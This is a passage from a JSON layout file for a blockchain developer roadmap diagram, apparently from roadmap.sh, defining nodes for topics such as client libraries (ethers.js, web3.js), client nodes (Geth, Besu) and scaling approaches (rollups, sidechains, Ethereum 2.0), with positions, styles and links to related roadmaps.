this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -553.653550624667,\n        \"y\": 1725.9907597579706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ke97bMHGfb-8hB_xSwMbk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -458.72233952115954,\n        \"y\": 1673.5279223875564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -458.72233952115954,\n        \"y\": 1673.5279223875564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-7Bq2ktD0nt7of9liuCDL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1620.0226628719834\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1620.0226628719834\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cW3_Ki9Bx7fYluDLKKKgl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1673.0226628719834\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1673.0226628719834\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XvVpnlYhT_yOsvjAvwZpr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1726.0226628719834\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Maintenance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1726.0226628719834\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B6GGTUbzEaIz5yu32WrAq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1779.0226628719836\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1779.0226628719836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PBTrg9ivOpw9uNTVisIpx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1832.0226628719836\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.0683372447937,\n        \"y\": 1832.0226628719836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vZiDpX9pEB9gfueSKZiQL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1782.088937381998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1782.088937381998\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i-ltfXPTCu3WaBo-xaN05\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1838.2852926300527\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ethers.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1838.2852926300527\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jwuMeo9TwaQviGIMO13Jf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1891.2852926300527\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"web3.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1891.2852926300527\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RFgetmTvKvpV2PG6Vfev7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1944.2852926300527\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moralis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1944.2852926300527\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CoYEwHNNmrQ0i0sSQTcB7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -571.2223395211597,\n        \"y\": 1781.0854310382826\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Nodes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -571.2223395211597,\n        \"y\": 1781.0854310382826\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DBRaXtwvdq2UGE8rVCmI1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -559.4600788526467,\n        \"y\": 1837.2817862863374\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Geth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -559.4600788526467,\n        \"y\": 1837.2817862863374\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gnnp5qrFmuSVtaq31rvMX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.45657250893146,\n        \"y\": 1837.2817862863374\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Besu\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -455.45657250893146,\n        \"y\": 1837.2817862863374\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xtYwg0WAcE8Ea9VgC2RSc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.5687755078199,\n        \"y\": 1890.2817862863374\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nethermind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.5687755078199,\n        \"y\": 1890.2817862863374\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E4uuJZFZz-M1vlpZmdJTO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.5687755078199,\n        \"y\": 1943.2817862863374\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Substrate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.5687755078199,\n        \"y\": 1943.2817862863374\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nR-aB_U709NTfY0RmmF12\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -789.460009679177,\n        \"y\": 1588.4122130449523\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 589,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 589,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -789.460009679177,\n        \"y\": 1588.4122130449523\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 589,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"bTdRKEiIUmu1pnp8UbJK9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -214.64612351413393,\n        \"y\": 2003.362086171213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building for Scale\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -214.64612351413393,\n        \"y\": 2003.362086171213\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5T5c3SrFfMZLEKAzxJ-_S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1582.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State & Payment Channels\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1582.7354826226021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ti6-LSK52dTCLVdxArp9q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1635.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Optimistic Rollups & Fraud Proofs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1635.7354826226021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PykoX4j5Q3eJWIpUoczjM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1688.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \" Zk Rollups & Zero Knowledge Proof\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1688.7354826226021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"chmxDwNVOefp98IbjEgNl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1741.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Validium\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.28273402775437,\n        \"y\": 1741.7354826226021\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dMesiPUPBegYQ7hgeMMJK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 48.21726597224563,\n        \"y\": 1741.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Plasma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 48.21726597224563,\n        \"y\": 1741.7354826226021\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lSQA3CfQBugEBhAh2yxro\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 143.71726597224563,\n        \"y\": 1741.7354826226021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sidechains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 143.71726597224563,\n        \"y\": 1741.7354826226021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9uz6LBQwYpOid61LrK5dl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.19361513527889,\n        \"y\": 1796.6871845475341\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ethereum 2.0\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.19361513527889,\n        \"y\": 1796.6871845475341\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1bUD9-vFo-tsHiB1a06tO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.19361513527889,\n        \"y\": 1849.687184547534\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"On-Chain Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.19361513527889,\n        \"y\": 1849.687184547534\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -133.64612351413393,\n        \"y\": 2221.8655925149283\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -133.64612351413393,\n        \"y\": 2221.8655925149283\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 470,\n      \"height\": 123,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -292.14612351413393,\n        \"y\": 2139.5212902664925\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -292.14612351413393,\n        \"y\": 2139.5212902664925\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 470,\n        \"height\": 123\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 470,\n        \"height\": 123\n      }\n    },\n    {\n      \"width\": 118,\n      \"height\": 49,\n      \"id\": \"TDAVBiLD2a9EOWINr3BuL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -158.57166373924687,\n        \"y\": 2198.3923285889578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"gC8lsIdYLRzo3HzwVqtm1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -158.57166373924687,\n        \"y\": 2198.3923285889578\n      },\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"-AVENmGRqqg2hH4OL_aqZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -37.57166373924687,\n        \"y\": 2198.3923285889578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -37.57166373924687,\n        \"y\": 2198.3923285889578\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 66.4283362607531,\n        \"y\": 2198.3923285889578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"href\": \"https://roadmap.sh/rust\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        